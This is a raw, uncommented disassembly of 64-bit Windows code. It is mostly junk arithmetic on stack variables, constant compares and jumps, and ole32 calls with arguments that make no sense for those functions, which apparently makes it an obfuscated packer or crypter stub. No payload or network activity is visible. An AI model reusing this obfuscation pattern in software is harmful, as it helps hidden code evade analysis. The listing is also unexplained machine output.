mov byte [rsp + 0x150], 0x77
mov dword [rsp + 0x37ec], 0x24ab60e3
movabs rax, 0xfecc41993410f51
mov qword [rsp + 0x67f0], rax
mov eax, 0x7e2
mov word [rsp + 0xee0], ax
mov eax, 0x192
mov word [rsp + 0xee4], ax
mov byte [rsp + 0x151], 0x2f
mov byte [rsp + 0x152], 0xc7
movabs rax, 0x515be496bf362dbb
mov qword [rsp + 0x67f8], rax
mov dword [rsp + 0x37f0], 0x44915c02
mov byte [rsp + 0x153], 0x40
mov byte [rsp + 0x154], 0x68
mov byte [rsp + 0x155], 0x76
mov byte [rsp + 0x156], 2
mov byte [rsp + 0x157], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x2c727f3bab4482ee
mov qword [rsp + 0x6800], rax
mov dword [rsp + 0x37f4], 0x4a0d8645
mov dword [rsp + 0x37f8], 0x1fe212c
mov eax, 0x809
mov word [rsp + 0xee8], ax
movabs rax, 0x69d3e4f67fc68e4b
mov qword [rsp + 0x6808], rax
mov eax, 0x4be0
mov word [rsp + 0xeec], ax
mov dword [rsp + 0x37fc], 0x7f197312
movabs rax, 0x5253eaccc5d2a9cc
mov qword [rsp + 0x6810], rax
movabs rax, 0xd13b8fce69a62dce
mov qword [rsp + 0x6818], rax
mov byte [rsp + 0x158], 0xa1
mov eax, 0xd2f
mov word [rsp + 0xef0], ax
mov byte [rsp + 0x159], 0x41
mov byte [rsp + 0x15a], 0x32
mov eax, 0x1632
mov word [rsp + 0xef4], ax
mov dword [rsp + 0x3800], 0x5a05c461
mov dword [rsp + 0x3804], 0x39053d6d
mov eax, 0x1ff6
mov word [rsp + 0xef8], ax
mov dword [rsp + 0x3808], 0x395980cd
mov eax, 0x6f72
mov word [rsp + 0xefc], ax
mov byte [rsp + 0x15b], 0x4d
mov byte [rsp + 0x15c], 0xae
mov dword [rsp + 0x380c], 0x6bfd27a1
mov eax, 0x43d
mov word [rsp + 0xf00], ax
mov byte [rsp + 0x15d], 0x36
mov dword [rsp + 0x3810], 0x98f5600e
movabs rax, 0x503f6ce5d83580b6
mov qword [rsp + 0x6820], rax
mov dword [rsp + 0x3814], 0x596b0608
movabs rax, 0x204020dbeffd7049
mov qword [rsp + 0x6828], rax
mov eax, 0x5640
mov word [rsp + 0xf04], ax
mov byte [rsp + 0x15e], 0x1c
movabs rax, 0x6b9f6ae6d3a896c0
mov qword [rsp + 0x6830], rax
mov byte [rsp + 0x15f], 7
movabs rax, 0x2a60317c105d1683
mov qword [rsp + 0x6838], rax
mov byte [rsp + 0x160], 0xfd
mov byte [rsp + 0x161], 0x2d
mov dword [rsp + 0x3818], 0x1b5db597
mov eax, 0x7d75
mov word [rsp + 0xf08], ax
mov eax, 0x1ee4
mov word [rsp + 0xf0c], ax
movabs rax, 0x9dc4645fd7dfafd4
mov qword [rsp + 0x6840], rax
mov dword [rsp + 0x381c], 0xc02da74
mov dword [rsp + 0x3820], 0x9bcebd62
mov dword [rsp + 0x3824], 0x2f7f25ff
mov eax, 0x20b2
mov word [rsp + 0xf10], ax
movabs rax, 0x62bbfe9327fec3d2
mov qword [rsp + 0x6848], rax
movabs rax, 0x686920371c7b9232
mov qword [rsp + 0x6850], rax
movabs rax, 0x566ff03b74e9f572
mov qword [rsp + 0x6858], rax
mov dword [rsp + 0x3828], 0x1a4c3f88
mov dword [rsp + 0x382c], 0x2f878a75
mov byte [rsp + 0x162], 0x61
mov byte [rsp + 0x163], 0x5d
mov eax, 0x1c4
mov word [rsp + 0xf14], ax
mov eax, 0x73c
mov word [rsp + 0xf18], ax
mov eax, 0xd43
mov word [rsp + 0xf1c], ax
mov dword [rsp + 0x3830], 0x7c4bac56
mov eax, 0x6ce
mov word [rsp + 0xf20], ax
mov byte [rsp + 0x164], 0x16
mov byte [rsp + 0x165], 0x5d
mov byte [rsp + 0x166], reloc.COMCTL32.dll_LBItemFromPt
mov dword [rsp + 0x3834], 0x1eb53cd3
mov byte [rsp + 0x167], 0x33
mov eax, 0xcd8
mov word [rsp + 0xf24], ax
mov eax, 0x2409
mov word [rsp + 0xf28], ax
movabs rax, 0xc3bf4840fdcd44e6
mov qword [rsp + 0x6860], rax
mov dword [rsp + 0x3838], 0x2e0eff10
mov dword [rsp + 0x383c], 0xae0ffe81
mov byte [rsp + 0x168], 0x37
mov dword [rsp + 0x3840], 0xbe663f1
mov dword [rsp + 0x3844], 0x23754151
mov byte [rsp + 0x169], pe_nt_image_headers64
mov byte [rsp + 0x16a], 0xeb
movabs rax, 0x7563c3cbdc9d7817
mov qword [rsp + 0x6868], rax
mov byte [rsp + 0x16b], 0x7f
movabs rax, 0x5e9d54d02d9bf557
mov qword [rsp + 0x6870], rax
mov eax, 0x902
mov word [rsp + 0xf2c], ax
mov byte [rsp + 0x16c], 0x70
mov eax, 0x169d
mov word [rsp + 0xf30], ax
mov eax, 0xbe2
mov word [rsp + 0xf34], ax
mov dword [rsp + 0x3848], 0x41ce4e59
mov dword [rsp + 0x384c], 0x4e6c9114
mov dword [rsp + 0x3850], 0x1a590419
movabs rax, 0x498be58802e72696
mov qword [rsp + 0x6878], rax
mov dword [rsp + 0x3854], 0x5837787a
mov eax, 0x546
mov word [rsp + 0xf38], ax
movabs rax, 0xbe84f9a80d0e4852
mov qword [rsp + 0x6880], rax
movabs rax, 0xc3a4c27d96862658
mov qword [rsp + 0x6888], rax
mov dword [rsp + 0x3858], 0xe126669f
mov byte [rsp + 0x16d], 0x52
mov byte [rsp + 0x16e], 0x39
mov eax, 0x430e
mov word [rsp + 0xf3c], ax
mov eax, 0x277d
mov word [rsp + 0xf40], ax
movsx eax, word [rsp + 0xf40]
mov dword [rsp + 0x385c], eax
cmp dword [rsp + 0x385c], 0x277d
je 0x140004808
cmp dword [rsp + 0x385c], 0x3245
je 0x14000490f
jmp 0x140004927
movzx eax, byte [str.sK:]
add eax, 0x26
mov byte [str.sK:], al
mov dword [rsp + 0x3860], 0xef96
movsx eax, word [rsp + 0xf40]
mov dword [rsp + 0x3864], eax
cmp dword [rsp + 0x3864], 0x277d
je 0x140004844
jmp 0x1400048f7
movsx eax, word [rsp + 0xf40]
mov dword [rsp + 0x3868], eax
cmp dword [rsp + 0x3868], 0x277d
je 0x140004872
cmp dword [rsp + 0x3868], 0x73a5
je 0x1400048db
jmp 0x1400048f5
movzx eax, byte [str.sK:]
sub eax, 0x73
mov byte [rsp + 0xdf], al
mov dword [rsp + 0x386c], 0x5d33
mov dword [rsp + 0x3870], 0x51ad
mov dword [rsp + 0x3874], 0xa54c
lea rax, [rsp + 0xf40]
mov qword [rsp + 0x6890], rax
mov dword [rsp + 0x3878], 0x59f64ba
mov dword [rsp + 0x387c], 0xee9
lea rax, [rsp + 0xdf]
mov qword [0x1401de350], rax
jmp 0x1400048f5
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
and eax, ecx
mov byte [rsp + 0xdf], al
jmp 0x14000490d
movsx eax, word [rsp + 0xf40]
shl eax, 2
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
jmp 0x140004927
movzx edx, word [rsp + 0xf40]
mov rax, qword [0x1401de350]
movzx ecx, byte [rax]
call fcn.1401c3b50
nop
movzx eax, byte [str.sK:]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xdf], al
mov eax, dword [rsp + 0x3878]
xor eax, 0x575dbb5b
mov dword [rsp + 0x3878], eax
mov eax, dword [rsp + 0x3878]
shr eax, 0xe
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov eax, dword [rsp + 0x3878]
and eax, 0x1666c398
mov dword [rsp + 0x3878], eax
movsx eax, word [rsp + 0xf40]
add eax, 0x7d28
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
shl eax, cl
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
xor eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov eax, dword [rsp + 0x3878]
or eax, 0xf2d87621
mov dword [rsp + 0x3878], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [str.sK:], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
and eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
add eax, 0x639
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movsx eax, word [rsp + 0xf40]
and eax, 0x4730
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov eax, dword [rsp + 0x3878]
sub eax, 0x820f10
mov dword [rsp + 0x3878], eax
movsx eax, word [rsp + 0xf40]
add eax, 0x2104
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov byte [str.sK:], al
mov eax, dword [rsp + 0x386c]
add eax, 0x5d
mov dword [rsp + 0x386c], eax
movsx eax, word [rsp + 0xf40]
sub eax, 0x133c
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movsx eax, word [rsp + 0xf40]
sar eax, 1
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
shl eax, cl
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movsx eax, word [rsp + 0xf40]
xor eax, 0x7d2c
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movsx eax, word [rsp + 0xf40]
or eax, 0x3773
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
and eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov eax, dword [rsp + 0x3878]
add eax, 0x43c33572
mov dword [rsp + 0x3878], eax
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
add eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
and eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
add eax, 0x160a
mov word [rsp + 0xf40], ax
mov eax, dword [rsp + 0x3878]
or eax, 0x5b1e83b2
mov dword [rsp + 0x3878], eax
movsx eax, word [rsp + 0xf40]
shl eax, 1
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
sar eax, cl
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
xor eax, 0x1ea5
mov word [rsp + 0xf40], ax
movsx eax, word [rsp + 0xf40]
and eax, 0x75cd
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
cmp dword [rsp + 0x386c], 0x6477
jb 0x140004927
lea rax, str.sK:
mov qword [rsp + 0x6898], rax
lea rax, [rsp + 0x3878]
mov qword [rsp + 0x68a0], rax
movsx eax, word [rsp + 0xf40]
mov dword [rsp + 0x3880], eax
cmp dword [rsp + 0x3880], 0x1714
je 0x140004efb
cmp dword [rsp + 0x3880], 0x4f34
je 0x140004e04
jmp 0x140004f0d
mov eax, dword [rsp + 0x3878]
sub eax, 0x6efd2642
mov rcx, qword [rsp + 0x68a0]
cmp eax, dword [rcx]
jae 0x140004ef9
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov dword [rsp + 0x3884], eax
cmp dword [rsp + 0x3884], 0x2500
je 0x140004e5f
jmp 0x140004edb
lea r8, [rsp + 0x3878]
lea rdx, [rsp + 0x3888]
lea rcx, [rsp + 0x3888]
call qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [rsp + 0x3888], eax
lea rdx, [rsp + 0xf40]
lea rcx, [rsp + 0xdf]
call qword [sym.imp.ole32.dll_CoUnmarshalHresult]
mov dword [rsp + 0x388c], eax
movzx eax, byte [str.sK:]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
jmp 0x140004ef9
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
jmp 0x140004f0d
mov r8b, 0x48
mov dl, 0x13
mov ecx, dword [rsp + 0x3878]
call fcn.1401c20f0
nop
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
movzx ecx, byte [str.sK:]
mov rdx, qword [rsp + 0x6898]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
je 0x140004f91
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
xor eax, 0x7d3e8f78
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
shl eax, cl
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
lea rdx, [rsp + 0xf40]
lea rcx, [rsp + 0x2bb00]
call qword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [rsp + 0x3890], eax
jmp 0x140005059
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
sar eax, 0x69
movsx ecx, word [rsp + 0xf40]
cmp eax, ecx
je 0x14000504e
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
or eax, 0x6f7a38c9
cmp eax, dword [rsp + 0x3878]
ja 0x140005032
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
sub eax, 0x4a5d
mov word [rsp + 0xf40], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
lea rdx, [rsp + 0x68a0]
lea rcx, [rsp + 0x6890]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x3894], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov dword [rsp + 0x3898], 0xfe02
movabs rax, 0x7898c96d300a03fe
mov qword [0x1401de358], rax
mov dword [rsp + 0x389c], 0x878e
lea rax, [rsp + 0x3878]
mov qword [rsp + 0x68a8], rax
mov dword [rsp + 0x38a0], 0xb7ed
mov dword [rsp + 0x38a4], 0x8b93
mov rax, qword [0x1401de358]
mov qword [rsp + 0x68b0], rax
movsx eax, word [rsp + 0xf40]
mov dword [rsp + 0x38a8], eax
cmp dword [rsp + 0x38a8], 0x3081
je 0x1400050af
jmp 0x1401c1ff9
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
add eax, 0x4da
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [str.sK:], al
movabs rax, 0x6096d9a5e67fa81e
mov rcx, qword [0x1401de358]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
or eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x68a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sub eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
and eax, 0x5b74
mov word [rsp + 0xf40], ax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x68a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3878], eax
movsx eax, word [rsp + 0xf40]
sub eax, 0x3227
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
sub eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x68a8]
mov rcx, qword [rsp + 0x68a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3878], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
or eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
xor eax, 0x2447
mov word [rsp + 0xf40], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
sar eax, cl
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3878]
shl eax, cl
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68a0]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a0]
mov rcx, qword [rsp + 0x68a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3878], eax
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
sub eax, 0x627d
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movabs rax, 0xd99db813ba9affbc
mov rcx, qword [rsp + 0x68b0]
sub rcx, rax
mov rax, rcx
mov qword [0x1401de358], rax
movabs rax, 0x7e98d473b3069e04
mov rcx, qword [0x1401de358]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
shl eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [0x1401de350]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
xor eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3878]
shr eax, cl
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
and eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov eax, dword [rsp + 0x38a4]
add eax, 0x1f
mov dword [rsp + 0x38a4], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
sub eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x68a0]
mov rcx, qword [rsp + 0x68a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movabs rax, 0xd5c36308131bbf28
mov rcx, qword [0x1401de358]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
movabs rax, 0x1e9b6ddb8959a6af
mov rcx, qword [0x1401de358]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
add eax, 0x1c09
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
xor eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
shl eax, cl
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
cmp dword [rsp + 0x38a4], 0x8e9a
jne 0x1400050af
lea rax, [rsp + 0x3878]
mov qword [rsp + 0x68b8], rax
cmp dword [rsp + 0x3860], 0x10f76
ja 0x140005842
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
and eax, ecx
mov byte [rsp + 0xdf], al
movsx eax, word [rsp + 0xf40]
add eax, 0x311a
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
movzx eax, byte [str.sK:]
movzx ecx, byte [rsp + 0xdf]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
add eax, 0x4940
mov word [rsp + 0xf40], ax
movsx eax, word [rsp + 0xf40]
sub eax, 0x6c1f
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
and eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
movzx eax, byte [str.sK:]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movabs rax, 0xab35ed6dfab6e7da
mov rcx, qword [0x1401de358]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68a8]
mov qword [rsp + 0x68c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x68c0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
sar eax, cl
mov rcx, qword [rsp + 0x6890]
mov word [rcx], ax
mov eax, dword [rsp + 0x3860]
add eax, 0xf0
mov dword [rsp + 0x3860], eax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xdf], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
xor eax, 0x62da
mov word [rsp + 0xf40], ax
jmp 0x14000567a
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov rdx, qword [rsp + 0x68a8]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jbe 0x1400058af
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [str.sK:], al
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
jmp 0x140005912
mov rax, qword [rsp + 0x68b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov rdx, qword [rsp + 0x68a8]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x140005912
lea rcx, [rsp + 0xdf]
call qword [sym.imp.ole32.dll_CoGetCallerTID]
